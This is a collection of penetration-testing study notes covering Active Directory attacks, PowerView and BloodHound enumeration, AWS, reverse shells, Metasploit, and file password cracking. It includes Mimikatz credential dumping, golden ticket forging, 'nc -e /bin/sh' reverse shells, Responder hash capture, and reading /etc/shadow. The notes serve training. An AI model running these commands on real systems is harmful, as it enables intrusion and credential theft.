130 |
131 | ```bash
132 | hashcat -m 13100 hashes.txt rockyou.txt
133 | ```
134 |
135 | ### Mitigation
136 |
137 | #### Strategies
138 |
139 | * Strong Passwords
140 | * Least privileges
141 |
142 | ## GPP / cPassword Attacks
143 |
144 | ### GPP / cPassword Attacks Overview
145 |
146 | Group Policy Preferences (GPP) AKA MS14-025
147 |
148 | * Group Policy Preferences allowed admins to created policies using embedded credentials
149 | * These credentials were encrypted and placed in a "cPassword"
150 | * The key was accidentally released
151 | * Patched in MS14-025, but doesn't prevent previous uses
152 |
153 | Can check using `smb_enum_gpp` Metasploit module
154 |
155 | #### Resource
156 |
157 | [https://www.rapid7.com/blog/post/2016/07/27/pentesting-in-the-real-world-group-policy-pwnage/](https://www.rapid7.com/blog/post/2016/07/27/pentesting-in-the-real-world-group-policy-pwnage/)
158 |
159 | ### Abusing GPP
160 |
161 | Example using Active on HackTheBox.
162 |
163 | #### Part 1
164 |
165 | 1. Downloaded files from SMB
166 | 2. Found Groups.xml with `name-active.htb\SVC_TGS` and the `cpassword=""`
167 | 3. Execute `gpp-decrypt` \
168 |
169 | #### Part 2
170 |
171 | 1. Tried `psexec.py active.htb/svc_tgs:@` but failed...
172 | 2. Then `GetUserSPNs.py active.htb/svc_tgs: -dc-ip -request`
173 | 1. Returns a service ticket which we can copy and crack
174 | 1. hashcat -m 13100 hashes.txt rockyou.txt -O
175 | 3. Finally psexec.py active.htb/Administrator:\@\
176 |
177 | ## URL File Attacks
178 |
179 | Requires compromised user account of an open file share.
180 |
181 | Create a file:
182 |
183 | ```
184 | [InternetShortcut]
185 | URL=blah
186 | WorkingDirectory=blah
187 | IconFile=\%USERNAME%.icon
188 | IconIndex=1Mimikatz
189 | ```
190 |
191 | Save file at "@test.url". Needs '@' and '.url' which will ensure it ends up at the top of the folder.
192 |
193 | Then place it on a file share.
194 |
195 | Then run Responder: `responder -I eth0 -v`
196 |
197 | Now when a user navigates to the file share, responder will capture hashes.
198 |
199 | #### Resources
200 |
201 | [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#scf-and-url-file-attack-against-writeable-share](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#scf-and-url-file-attack-against-writeable-share)
202 |
203 | ## Mimikatz
204 |
205 | ### Overview
206 |
207 | #### What is Mimikatz?
208 |
209 | * Tool used to view and steal credentials, generate Kerberos tickets, and leverage attacks
210 | * Dumps credentials stored in memory
211 | * Just a few attacks: Credential dumping, Pass-the-hash, Over-pass-the-hash, Pass-the-ticket, Golden Ticket, Silver Ticket
212 |
213 | ### Credential Dumping
214 |
215 | Assuming we have already compromised the Domain Controller
216 |
217 | ```powershell
218 | mimikatz
219 | privilege::debug
220 | sekurlsa::logonpasswords # Check for logon users passwords in memory
221 | lsadump::sam # Try to dump the SAM
222 | lsadump::lsa /patch # Try to dump the LSA
223 | ```
224 |
225 | ## Golden Ticket Attacks
226 |
227 | ```powershell
228 | mimikatz
229 | privilege::debug
230 | lsadump::lsa /inject /name:krbtgt
231 | # Copy the SID of the domain ex: S-1-5-21-xxxx-xxxx-xxxx
232 | # Copy the NTLM Hash of the kerberos TGT account
233 | kerberos::golden /User:Administrator /domain:marvel.local /sid: /krbtgt: /id:500 /ptt
234 | # Look for "Golden ticket for ... successfully submitted for current session
235 | misc::cmd # Start a command prompt utilizing session using golden ticket we created
236 | dir \\THEPUNISHER\c$ # We have access to this machine
237 | # And then can try psexec.exe \\THEPUNISHER cmd.exe
238 | ```
239 |
240 | ## Additional Resources
241 |
242 | Active Directory Security Blog: [https://adsecurity.org/](https://adsecurity.org/)
243 |
244 | Harmj0y Blog: [http://blog.harmj0y.net/](http://blog.harmj0y.net/)
245 |
246 | Pentester Academy Active Directory: [https://www.pentesteracademy.com/activedirectorylab](https://www.pentesteracademy.com/activedirectorylab)
247 |
248 | Pentester Academy Red Team Labs: [https://www.pentesteracademy.com/redteamlab](https://www.pentesteracademy.com/redteamlab)
249 |
250 | eLS PTX: [https://elearnsecurity.com/product/ecptx-certification/](https://elearnsecurity.com/product/ecptx-certification/)
251 |
--------------------------------------------------------------------------------
/active-directory/peh/post-compromise-enumeration.md:
--------------------------------------------------------------------------------
1 | # Post-Compromise Enumeration
2 |
3 | ## Domain Enumeration with PowerView
4 |
5 | #### Setup
6 |
7 | ```powershell
8 | C:\Users\fcastle\Desktop>powershell -ep bypass
9 | Windows PowerShell
10 | Copyright (C) Microsoft Corporation. All rights reserved.
11 |
12 | PS C:\Users\fcastle\Desktop> . .\PowerView.ps1
13 | ```
14 |
15 | #### Get-NetDomain
16 |
17 | Get information about the Domain
18 |
19 | ```powershell
20 | PS C:\Users\fcastle\Desktop> Get-NetDomain
21 |
22 | Forest : MARVEL.local
23 | DomainControllers : {HYDRA-DC.MARVEL.local}
24 | Children : {}
25 | DomainMode : Unknown
26 | DomainModeLevel : 7
27 | Parent :
28 | PdcRoleOwner : HYDRA-DC.MARVEL.local
29 | RidRoleOwner : HYDRA-DC.MARVEL.local
30 | InfrastructureRoleOwner : HYDRA-DC.MARVEL.local
31 | Name : MARVEL.local
32 | ```
33 |
34 | #### Get-NetDomainController
35 |
36 | Get specific Domain Controllers
37 |
38 | ```powershell
39 | PS C:\Users\fcastle\Desktop> Get-NetDomainController
40 |
41 | Forest : MARVEL.local
42 | CurrentTime : 1/20/2022 1:57:31 AM
43 | HighestCommittedUsn : 53277
44 | OSVersion : Windows Server 2019 Standard Evaluation
45 | Roles : {SchemaRole, NamingRole, PdcRole, RidRole...}
46 | Domain : MARVEL.local
47 | IPAddress : 192.168.72.137
48 | SiteName : Default-First-Site-Name
49 | SyncFromAllServersCallback :
50 | InboundConnections : {}
51 | OutboundConnections : {}
52 | Name : HYDRA-DC.MARVEL.local
53 | Partitions : {DC=MARVEL,DC=local, CN=Configuration,DC=MARVEL,DC=local, CN=Schema,CN=Configuration,DC=MARVEL,DC=local, DC=DomainDnsZones,DC=MARVEL,DC=local...}
54 | ```
55 |
56 | #### Get-DomainPolicy
57 |
58 | Get all policies in the Domain
59 |
60 | ```powershell
61 | PS C:\Users\fcastle\Desktop> Get-DomainPolicy
62 |
63 | Name Value
64 | ---- -----
65 | Kerberos Policy {MaxTicketAge, MaxServiceAge, MaxClockSkew, MaxRenewAge...}
66 | System Access {MinimumPasswordAge, MaximumPasswordAge, LockoutBadCount, PasswordComplexity...}
67 | Version {Revision, signature}
68 | Registry Values {MACHINE\System\CurrentControlSet\Control\Lsa\NoLMHash}
69 | Unicode {Unicode}
70 | ```
71 |
72 | ```powershell
73 | PS C:\Users\fcastle\Desktop> (Get-DomainPolicy)."System Access"
74 | Name Value
75 | ---- -----
76 | MinimumPasswordAge {1}
77 | MaximumPasswordAge {42}
78 | LockoutBadCount {0}
79 | PasswordComplexity {1}
80 | RequireLogonToChangePassword {0}
81 | LSAAnonymousNameLookup {0}
82 | ForceLogoffWhenHourExpire {0}
83 | PasswordHistorySize {24}
84 | ClearTextPassword {0}
85 | MinimumPasswordLength {7}
86 | ```
87 |
88 | #### Get-NetUser
89 |
90 | Get a bunch of user details
91 |
92 | ```powershell
93 | PS C:\Users\fcastle\Desktop> Get-NetUser
94 | ...
95 | logoncount : 0
96 | badpasswordtime : 12/31/1600 4:00:00 PM
97 | description : Admin
98 | distinguishedname : CN=Tony Stark,CN=Users,DC=MARVEL,DC=local
99 | objectclass : {top, person, organizationalPerson, user}
100 | displayname : Tony Stark
101 | userprincipalname : tstark@MARVEL.local
102 | name : Tony Stark
103 | objectsid : S-1-5-21-676298576-3461144594-1832349395-1107
104 | samaccountname : tstark
105 | admincount : 1
106 | codepage : 0
107 | samaccounttype : 805306368
108 | whenchanged : 6/18/2020 12:53:23 AM
109 | accountexpires : 9223372036854775807
110 | countrycode : 0
111 | adspath : LDAP://CN=Tony Stark,CN=Users,DC=MARVEL,DC=local
112 | instancetype : 4
113 | objectguid : 3efcaafd-dc9c-485e-8abf-a21b8a44d5d0
114 | lastlogon : 12/31/1600 4:00:00 PM
115 | lastlogoff : 12/31/1600 4:00:00 PM
116 | objectcategory : CN=Person,CN=Schema,CN=Configuration,DC=MARVEL,DC=local
117 | dscorepropagationdata : {6/18/2020 12:49:06 AM, 1/1/1601 12:00:00 AM}
118 | givenname : Tony
119 | memberof : {CN=Group Policy Creator Owners,OU=Groups,DC=MARVEL,DC=local, CN=Domain Admins,OU=Groups,DC=MARVEL,DC=local, CN=Enterprise Admins,OU=Groups,DC=MARVEL,DC=local, CN=Schema
120 | Admins,OU=Groups,DC=MARVEL,DC=local...}
121 | whencreated : 6/18/2020 12:48:27 AM
122 | sn : Stark
123 | badpwdcount : 0
124 | cn : Tony Stark
125 | useraccountcontrol : 66048
126 | usncreated : 16443
127 | primarygroupid : 513
128 | pwdlastset : 6/17/2020 5:48:27 PM
129 | usnchanged : 16498
130 | ...
131 | ```
132 |
133 | ```powershell
134 | PS C:\Users\fcastle\Desktop> Get-NetUser | select cn
135 | cn
136 | --
137 | Administrator
138 | Guest
139 | krbtgt
140 | Frank
141 | Castle
142 | Tony Stark
143 | Wade Wilson
144 | SQL Service
145 | ```
146 |
147 | #### Get-UserProperty
148 |
149 | ```powershell
150 | PS C:\Users\fcastle\Desktop> Get-UserProperty -Properties pwdlastset
151 |
152 | name pwdlastset
153 | ---- ----------
154 | Administrator 6/17/2020 4:57:17 PM
155 | Guest 12/31/1600 4:00:00 PM
156 | krbtgt 6/17/2020 5:11:21 PM
157 | Frank Castle 6/17/2020 5:46:31 PM
158 | Tony Stark 6/17/2020 5:48:27 PM
159 | Wade Wilson 6/17/2020 5:49:38 PM
160 | SQL Service 6/17/2020 5:52:09 PM
161 | ```
162 |
163 | #### Get-NetComputer
164 |
165 | Get the computers in the domain.
166 |
167 | ```powershell
168 | PS C:\Users\fcastle\Desktop> Get-NetComputer
169 | HYDRA-DC.MARVEL.local
170 | PUNISHER.MARVEL.local
171 | DEADPOOL.MARVEL.local
172 | ```
173 |
174 | ```powershell
175 | PS C:\Users\fcastle\Desktop> Get-NetComputer -FullData
176 | ...
177 | ```
178 |
179 | #### Get-NetGroup
180 |
181 | Get the groups
182 |
183 | ```powershell
184 | PS C:\Users\fcastle\Desktop> Get-NetGroup
185 | ...
186 | ```
187 |
188 | #### Get-NetGroupMember
189 |
190 | Get members of a group
191 |
192 | ```powershell
193 | PS C:\Users\fcastle\Desktop> Get-NetGroupMember -GroupName "Domain Admins"
194 | ```
195 |
196 | #### Invoke-ShareFinder
197 |
198 | Get a list of active shares
199 |
200 | ```powershell
201 | PS C:\Users\fcastle\Desktop> Invoke-ShareFinder
202 | \\HYDRA-DC.MARVEL.local\ADMIN$ - Remote Admin
203 | \\HYDRA-DC.MARVEL.local\C$ - Default share
204 | \\HYDRA-DC.MARVEL.local\hackme -
205 | \\HYDRA-DC.MARVEL.local\IPC$ - Remote IPC
206 | \\HYDRA-DC.MARVEL.local\NETLOGON - Logon server share
207 | \\HYDRA-DC.MARVEL.local\SYSVOL - Logon server share
208 | \\PUNISHER.MARVEL.local\ADMIN$ - Remote Admin
209 | \\PUNISHER.MARVEL.local\C$ - Default share
210 | \\PUNISHER.MARVEL.local\IPC$ - Remote IPC
211 | \\PUNISHER.MARVEL.local\Share -
212 | ```
213 |
214 | #### Get-NetGPO
215 |
216 | Get the group policies of the domain
217 |
218 | ```powershell
219 | PS C:\Users\fcastle\Desktop> Get-NetGPO
220 | ...
221 | ```
222 |
223 | ```powershell
224 | PS C:\Users\fcastle\Desktop> Get-NetGPO |select displayname, whenchanged
225 |
226 | displayname whenchanged
227 | ----------- -----------
228 | Default Domain Policy 6/18/2020 12:20:10 AM
229 | Default Domain Controllers Policy 6/18/2020 12:10:44 AM
230 | Disable Windows Defender 6/18/2020 1:00:19 AM
231 | ```
232 |
233 | #### Cheat Sheet
234 |
235 | [https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993](https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993)
236 |
237 | ## Grabbing Data with Invoke-Bloodhound
238 |
239 | > Copied over SharpHound.ps1 to the Windows target machine
240 |
241 | #### Setup
242 |
243 | ```powershell
244 | C:\Users\fcastle\Desktop>powershell -ep bypass
245 | Windows PowerShell
246 | Copyright (C) Microsoft Corporation. All rights reserved.
247 |
248 | PS C:\Users\fcastle\Desktop> . .\SharpHound.ps1
249 | ```
250 |
251 | #### Execution
252 |
253 | ```powershell
254 | PS C:\Users\fcastle\Desktop> Invoke-BloodHound -CollectionMethod All -Domain MARVEL.local -ZipFileName file.zip
255 | ```
256 |
257 | Copy the zip file locally to Kali and then upload into Bloodhound.
258 |
259 | ## Enumerating Domain Data with Bloodhound
260 |
261 | #### Queries
262 |
263 | * Find all Domain Admins
264 | * Find Shortest Paths to Domain Admins
265 | * Shortest Paths to High Value Targets
266 |
267 | #### On Graph Relationship
268 |
269 | Access Boxes that have Domain Admin logged in (Green)
270 |
271 | * HasSession
272 | * Token impersonation; Mimikatz
273 | * MemberOf
274 | * Group that the account belongs to
275 |
--------------------------------------------------------------------------------
/apis/methodology/README.md:
--------------------------------------------------------------------------------
1 | # Methodology
2 |
3 | ## Methodologies
4 |
5 | * [https://github.com/dsopas/MindAPI](https://github.com/dsopas/MindAPI)
6 | * [https://github.com/shieldfy/API-Security-Checklist](https://github.com/shieldfy/API-Security-Checklist)
7 | * [https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/web-api-pentesting](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/web-api-pentesting)
8 |
9 | ## Recon
10 |
11 | ## Attack
12 |
--------------------------------------------------------------------------------
/apis/resources.md:
--------------------------------------------------------------------------------
1 | # Resources
2 |
3 | ## APIs / GraphQL
4 |
5 | ### Blogs
6 |
7 | * [https://labs.detectify.com/2021/08/31/go-fuzz-yourself-how-to-find-more-vulnerabilities-in-apis-through-fuzzing-whitepaper-download/](https://labs.detectify.com/2021/08/31/go-fuzz-yourself-how-to-find-more-vulnerabilities-in-apis-through-fuzzing-whitepaper-download/)
8 | * [https://www.mindpointgroup.com/blog/rest-assured-penetration-testing-rest-apis-using-burp-suite-part-1-introduction-configuration](https://www.mindpointgroup.com/blog/rest-assured-penetration-testing-rest-apis-using-burp-suite-part-1-introduction-configuration)
9 | * [https://labs.detectify.com/2021/08/10/how-to-hack-apis-in-2021/](https://labs.detectify.com/2021/08/10/how-to-hack-apis-in-2021/)
10 |
11 | ### Books
12 |
13 | * [https://nostarch.com/hacking-apis](https://nostarch.com/hacking-apis)
14 | * [https://www.amazon.com/dp/1718502443?\&linkCode=sl1\&tag=networkexpe08-20\&linkId=f60ab6caa0692ff6f974fd83b8a4ea52\&language=en\_US\&ref\_=as\_li\_ss\_tl](https://www.amazon.com/dp/1718502443?\&linkCode=sl1\&tag=networkexpe08-20\&linkId=f60ab6caa0692ff6f974fd83b8a4ea52\&language=en\_US\&ref\_=as\_li\_ss\_tl)
15 | * [https://nostarch.com/black-hat-graphql](https://nostarch.com/black-hat-graphql) (GraphQL)
16 |
17 | ### Content
18 |
19 | * InsiderPhD - [https://www.youtube.com/c/InsiderPhD](https://www.youtube.com/c/InsiderPhD)
20 | * Alissa Knight - [https://www.youtube.com/alissaknight](https://www.youtube.com/alissaknight)
21 | * Tools and Resources: [https://github.com/arainho/awesome-api-security](https://github.com/arainho/awesome-api-security)
22 |
23 | ### Courses
24 |
25 | * [https://university.apisec.ai/](https://university.apisec.ai/)
26 | * [https://www.udemy.com/course/uncle-rats-api-security-testing-guide](https://www.udemy.com/course/uncle-rats-api-security-testing-guide)
27 | * [http://hackxpert.com/API-testing.php](http://hackxpert.com/API-testing.php)
28 |
29 | ### Labs
30 |
31 | {% tabs %}
32 | {% tab title="HackTheBox" %}
33 | * [ ] AdmirerToo
34 | * [ ] Backend
35 | * [ ] BackendTwo
36 | * [ ] Catch
37 | * [ ] Cereal (graphql)
38 | * [ ] Craft
39 | * [ ] Devzat
40 | * [ ] EarlyAccess
41 | * [ ] Feline
42 | * [ ] Flujab
43 | * [ ] HackBack
44 | * [ ] Help (graphql)
45 | * [ ] Intense
46 | * [ ] JSON
47 | * [ ] Luke
48 | * [ ] Multimaster
49 | * [ ] Node
50 | * [ ] Oouch
51 | * [ ] Oz
52 | * [ ] Perspective
53 | * [ ] PivotAPI
54 | * [ ] Player2
55 | * [ ] Postman
56 | * [ ] Ransom
57 | * [ ] Secret
58 | * [ ] Wall
59 | * [ ] Zipper
60 | {% endtab %}
61 |
62 | {% tab title="TryHackMe" %}
63 | * [x] [https://tryhackme.com/room/owaspapisecuritytop105w](https://tryhackme.com/room/owaspapisecuritytop105w)
64 | * [x] [https://tryhackme.com/room/owaspapisecuritytop10d0](https://tryhackme.com/room/owaspapisecuritytop10d0)
65 | * [ ] [https://tryhackme.com/room/bookstoreoc](https://tryhackme.com/room/bookstoreoc)
66 | * [ ] [https://tryhackme.com/room/carpediem1](https://tryhackme.com/room/carpediem1) (graphql)
67 | * [ ] [https://tryhackme.com/room/idor](https://tryhackme.com/room/idor) (idor)
68 | {% endtab %}
69 | {% endtabs %}
70 |
71 | ### Vulnerable Apps
72 |
73 | * [https://github.com/roottusk/vapi](https://github.com/roottusk/vapi)
74 | * [https://github.com/OWASP/crAPI](https://github.com/OWASP/crAPI)
75 | * [https://github.com/erev0s/VAmPI](https://github.com/erev0s/VAmPI)
76 | * [https://github.com/InsiderPhD/Generic-University](https://github.com/InsiderPhD/Generic-University)
77 | * [https://github.com/snoopysecurity/dvws-node](https://github.com/snoopysecurity/dvws-node)
78 | * [https://github.com/DevSlop/Pixi](https://github.com/DevSlop/Pixi)
79 | * [https://github.com/marmicode/websheep](https://github.com/marmicode/websheep)
80 | * [https://github.com/optiv/rest-api-goat](https://github.com/optiv/rest-api-goat)
81 | * [https://github.com/payatu/Tiredful-API](https://github.com/payatu/Tiredful-API)
82 |
--------------------------------------------------------------------------------
/cloud/aws/README.md:
--------------------------------------------------------------------------------
1 | # AWS
2 |
3 | ## Basic Concepts
4 |
5 | #### AWS Pentesting Policy
6 |
7 | [https://aws.amazon.com/security/penetration-testing/](https://aws.amazon.com/security/penetration-testing/)
8 |
9 | #### AWS Keys
10 |
11 | Comprised of access ID and the secret key itself.
12 |
13 | * Create Key:
14 | * IAM --> Users --> Create access key
15 | * View Keys:
16 | * IAM --> Users --> Security Credentials --> Access key ID
17 |
18 | Find Keys:
19 |
20 |
29 |
30 | Check for Google dorks using ExploitDB. Ex: searching on `aws`
31 |
32 | ### IAM (Identity and Access Management) Security Issues
33 |
34 | * Create User:
35 | * IAM --> Users --> add Users
36 | * Potential Issues
37 | * Weak password security (password strength)
38 | * Lack of MFA
39 | * Rotating Keys / Key revocation/deactivation
40 | * Too many permissions / privileges (least privileges)
41 |
42 | ### S3 (Simple Storage Service)
43 |
44 | * Create a bucket
45 | * S3 --> Buckets --> Create bucket
46 | * Potential Issues
47 | * Public buckets
48 | * Permissions
49 | * Bucket versioning
50 |
51 | Find Buckets:
52 |
53 | ```bash
54 | nslookup flaws.cloud
55 | Address: 52.218.245.11
56 |
57 | # Reverse lookup
58 | nslookup 52.218.245.11
59 | 11.245.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com
60 | ```
61 |
62 | Can also check website page source for S3 bucket URLs.
63 |
64 | ### EC2 (Elastic Compute Cloud)
65 |
66 | * After OS initial installation, update the OS/install patches (patch management)
67 | * Update 3rd party software and services (email server, web server, etc.)
68 | * AMI (Amazon Machine Image) - supported and maintained image provided by AWS that provides the information required to launch an instance
69 | * Obtain the credentials for their IAM roles from the metadata service at 169.254.169.254
70 |
71 | ### Lambda
72 |
73 | AWS Lambda is a serverless, event-driven compute service that lets you run code for virtually any type of application or backend service without provisioning or managing servers.
74 |
75 | * Make sure the code that is passed to it is properly sanitized
76 | * Security misconfigurations such as permissions settings for other accounts
77 | * Third partly libraries that are used
78 | * Potential DoS if code takes input from users
79 | * Obtains credentials from environmental variables.
80 |
81 | ### ARNs (Amazon Resource Names)
82 |
83 | A way to uniquely identify AWS resources. We require an ARN when you need to specify a resource unambiguously across all of AWS
84 |
85 | * Can potentially leak information if such details can be accessed
86 | * Be familiar with the Format and Paths
87 |
88 | ## Tools
89 |
90 | ### GrayhatWarfare
91 |
92 | Search Public Buckets: [https://buckets.grayhatwarfare.com/](https://buckets.grayhatwarfare.com/)
93 |
94 | ### AWS CLI
95 |
96 | ```bash
97 | aws configure # Set Access Key ID, Secret Acces Key, Region name, output format
98 | aws configure --profile # Set same as above for specific profile
99 | aws --profile
100 | tail .aws/credentials # Check the credentials files
101 | aws help
102 | aws iam
103 | aws s3
104 | ```
105 |
106 | ### Pacu
107 |
108 | The Open Source AWS Exploitation Framework
109 |
110 | [https://rhinosecuritylabs.com/aws/pacu-open-source-aws-exploitation-framework/](https://rhinosecuritylabs.com/aws/pacu-open-source-aws-exploitation-framework/)
111 |
112 | ```bash
113 | pacu # Start up pacu
114 | # Create/Select a session
115 | Pacu () > help
116 | Pacu () > import_keys # Import existing keys
117 |
118 | ```
119 |
120 | ### AWS Bucket Dump
121 |
122 | Security Tool to Look For Interesting Files in S3 Buckets
123 |
124 | [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump)
125 |
126 | ```bash
127 | # Example
128 | python3 AWSBucketDump.py -l BucketNmes.txt -g interesting_Keywords.txt
129 | ```
130 |
131 | ####
132 |
133 | ###
134 |
135 | ###
136 |
137 | {% hint style="info" %}
138 | References:
139 |
140 | * ITProTV - Intro to AWS Penetration Testing
141 | * https://www.linkedin.com/learning/introduction-to-aws-penetration-testing/
142 | *
143 | {% endhint %}
144 |
--------------------------------------------------------------------------------
/exploitation/exploitation-basics.md:
--------------------------------------------------------------------------------
1 | # Exploitation Basics
2 |
3 | ## Reverse Shells vs Bind Shells
4 |
5 | ### Reverse Shell
6 |
7 | A victim connects to us.
8 |
9 | #### Attacker
10 |
11 | ```bash
12 | nc -lvnp 4444 # Listening
13 | ```
14 |
15 | #### Target
16 |
17 | ```bash
18 | nc -e /bin/sh # Connecting
19 | ```
20 |
21 | ### Bind Shell
22 |
23 | We connect to the victim.
24 |
25 | #### Attacker
26 |
27 | ```bash
28 | nc 4444 # Connecting
29 | ```
30 |
31 | #### Target
32 |
33 | ```bash
34 | nc -lvnp 4444 -e /bin/sh # Listening
35 | ```
36 |
37 | ## Staged vs Non-Staged Payloads
38 |
39 | ### Staged
40 |
41 | * Sends payload in stages
42 | * Can be less stable
43 | * Example: `windows/meterpreter/reverse_tcp`
44 |
45 | ### Non-staged
46 |
47 | * Sends exploit shellcode all at once
48 | * Larger in size and won't always work
49 | * Example: `windows/meterpreter_reverse_tcp`
50 |
51 | ## Gaining Root with Metasploit
52 |
53 | ### Example
54 |
55 | ```bash
56 | searchsploit samba 2.2
57 | # Found a 'trans2open' vulnerability with (Metasploit) mentioned
58 | msfconsole
59 | search trans2open
60 | use exploit/linux/samba/trans2open
61 | set RHOSTS
62 | run / exploit
63 | # Session kept opening and closing...
64 | # Looking at the options we see the payload linux/x86/meterpreter/reverse_tcp
65 | # Since this didn't work we can change it to a Non-staged payload
66 | set payload linux/x86/shell_reverse_tcp
67 | run / exploit
68 | ```
69 |
70 | ## Manual Exploitation
71 |
72 | ### Example
73 |
74 | Finding an Apache mod\_ssl < 2.8.7 vulnerability
75 |
76 | Used Google to identify there is an exploit called OpenLuck on GitHub
77 |
78 | Followed the steps on GitHub to download, install, compile, and run the exploit.
79 |
80 | ## Brute Force Attacks
81 |
82 | ### Tools
83 |
84 | #### Hydra
85 |
86 | ```bash
87 | hydra -l -P /usr/share/wordlists/metasploit/unix_passwords.txt ssh:// -t 4
88 | ```
89 |
90 | #### Metasploit
91 |
92 | ```bash
93 | search ssh
94 | use auxiliary/scanner/ssh/ssh_login
95 | set USERNAME root
96 | set PASS_FILE /usr/share/wordlists/metasploit/unix_passwords.txt
97 | set RHOSTS
98 | run
99 | ```
100 |
101 | ## Credential Stuffing and Password Spraying
102 |
103 | ### What is Credential Stuffing?
104 |
105 | Injecting breached account credentials in hopes of account takeover by testing large volumes of stolen usernames and passwords across multiple sites.
106 |
107 | ### What is Password Spraying?
108 |
109 | Injecting breached account credentials in hopes of account takeover by attempting to access a large number of sites using known account identifiers (usernames) with a few commonly used passwords.
110 |
111 | ## Metasploit Unleashed
112 |
113 | {% embed url="https://www.offensive-security.com/metasploit-unleashed" %}
114 |
115 | ## Armitage
116 |
117 | _Armitage_ is a fantastic Java-based GUI front-end for the Metasploit Framework developed by Raphael Mudge. Its goal is to help security professionals better understand hacking and help them realize the power and potential of Metasploit.
118 |
119 | {% embed url="https://www.offensive-security.com/metasploit-unleashed/armitage" %}
120 |
--------------------------------------------------------------------------------
/information-gathering-reconnaissance/passive-reconnaissance.md:
--------------------------------------------------------------------------------
1 | # Passive Reconnaissance
2 |
3 | ## Passive Reconnaissance Overview
4 |
5 | ### Physical/Social
6 |
7 | #### Location Information
8 |
9 | * Satellite images, Drone recon, Building layout (badge readers, break areas, security, fencing)
10 |
11 | #### Job Information
12 |
13 | * Employees (name, job title, phone number, manager, etc.)
14 | * Pictures (badge photos, desk photos, computer photos, etc.)
15 |
16 | ### Web/Host
17 |
18 | #### Target Validation
19 |
20 | * WHOIS, nslookup, dnsrecon
21 |
22 | #### Finding Subdomains
23 |
24 | * Google Fu, dig, Nmap, Sublist3r, Bluto, crt.sh, etc.
25 |
26 | #### Fingerprinting
27 |
28 | * Nmap, Wappalyzer, WhatWeb, BuiltWith, Netcat
29 |
30 | #### Data Breaches
31 |
32 | * HaveIBeenPwned, Breach-Parse, WeLeakInfo
33 |
34 | ## Identify Our Target
35 |
36 | Bugcrowd. Rules of Engagement; Make sure your in scope, noting the out of scope items.
37 |
38 | ## Discovering Email Addresses
39 |
40 | ### Tools
41 |
42 | * hunter.io
43 | * phonebook.cz
44 | * voilanorbert.com
45 | * clearbit connect Chrome extension
46 | * emailhippo - tools.verifyemailaddress.io
47 | * email-chekcer.net/validate
48 |
49 | ## Breached Credentials
50 |
51 | ### Gathering Breached Credentials
52 |
53 | #### Breach-Parse
54 |
55 | Tool on GitHub by TCM that uses breached username and password credentials and searching on a specific domain names to limit the accounts for that domain. Credential Stuffing.
56 |
57 | ### Hunting Breached Credentials
58 |
59 | #### DeHashed
60 |
61 | Payed service at dehashed.com.
62 |
63 | ## Hunting Subdomains
64 |
65 | ### Tools
66 |
67 | * Sublist3r
68 | * `sublist3r -d tesla.com`
69 | * crt.sh (Website)
70 | * OWASP Amass
71 | * httprobe
72 |
73 | ## Identifying Website Technologies
74 |
75 | ### Tools
76 |
77 | * builtwith.com
78 | * Wappalyzer
79 | * whatweb
80 | * `whatweb https://tesla.com`
81 |
82 | ## Information Gathering with Burp Suite
83 |
84 | Intercept website traffic. View/modify requests. View Target details.
85 |
86 | ## Google Fu
87 |
88 | ### Examples
89 |
90 | * `site:tesla.com -www`
91 | * `site:tesla.com filetype:pdf`
92 |
93 | ### Resources
94 |
95 | {% embed url="https://ahrefs.com/blog/google-advanced-search-operators" %}
96 |
97 | {% embed url="https://moz.com/learn/seo/search-operators" %}
98 |
99 | ## Utilizing Social Media
100 |
101 | ### Websites
102 |
103 | * LinkedIn
104 | * Twitter
105 | * Facebook
106 |
107 | ### Look For
108 |
109 | * Pictures
110 | * Badge photos
111 | * Desk pictures
112 | * People and their information
113 |
114 | ## OSINT Fundamentals
115 |
--------------------------------------------------------------------------------
/misc/containers.md:
--------------------------------------------------------------------------------
1 | # Containers
2 |
3 | ## Enumeration
4 |
5 | [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Container%20-%20Docker%20Pentest.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Container%20-%20Docker%20Pentest.md)
6 |
7 | ### deepce
8 |
9 | Like LinEnum.sh for containers.
10 |
11 | [https://github.com/stealthcopter/deepce](https://github.com/stealthcopter/deepce)
12 |
--------------------------------------------------------------------------------
/misc/interesting-files.md:
--------------------------------------------------------------------------------
1 | # Interesting Files
2 |
3 | ## File Types
4 |
5 | ### zip
6 |
7 | ```bash
8 | # Try to unzip file
9 | unzip filename.zip
10 | # If a passwowrd is needed, attempt to crack it
11 | zip2john filename.zip >> filename.zip.hash
12 | john filename.zip.hash --wordlist=/usr/share/wordlist/rockyou.txt
13 | ```
14 |
15 | ### rar
16 |
17 | ```bash
18 | unrar e filename.rar
19 | rar2john filename.rar >> filename.rar.hash
20 | john filename.rar.hash --wordlist=/usr/share/wordlist/rockyou.txt
21 | ```
22 |
23 | ### pfx
24 |
25 | ```bash
26 | # Try to view file info
27 | openssl pkcs12 -in filename.pfx -info
28 | # If a password is needed, attempt to crack it
29 | pfx2john filename.pfx >> filename.pfx.hash
30 | john filename.pfx.hash --wordlist=/usr/share/wordlist/rockyou.txt
31 | ```
32 |
33 | After putting in the password it will extract certificates and private keys.
34 |
35 | ```bash
36 | # Extract the keys
37 | openssl pkcs12 -in filename.pfx -nocerts -out key.pem -nodes
38 | # Extract the certificates
39 | openssl pkcs12 -in filename.pfx -nokeys -out key.cert
40 | ```
41 |
42 | If the WinRM port (5985,5986) is open it could be possible to login to the target using Evil-WinRm.
43 |
44 | ```bash
45 | evil-winrm -S -i -c key.cert -k key.pem
46 | ```
47 |
48 |
49 |
50 |
--------------------------------------------------------------------------------
/misc/linux.md:
--------------------------------------------------------------------------------
1 | # Linux
2 |
3 | ## Kali
4 |
5 | ## Commands
6 |
7 | ### Sudo Overview
8 |
9 | ```bash
10 | # Run command as root
11 | sudo cat /etc/shadow
12 | # Switch to root user
13 | sudo su -
14 | sudo -i
15 | ```
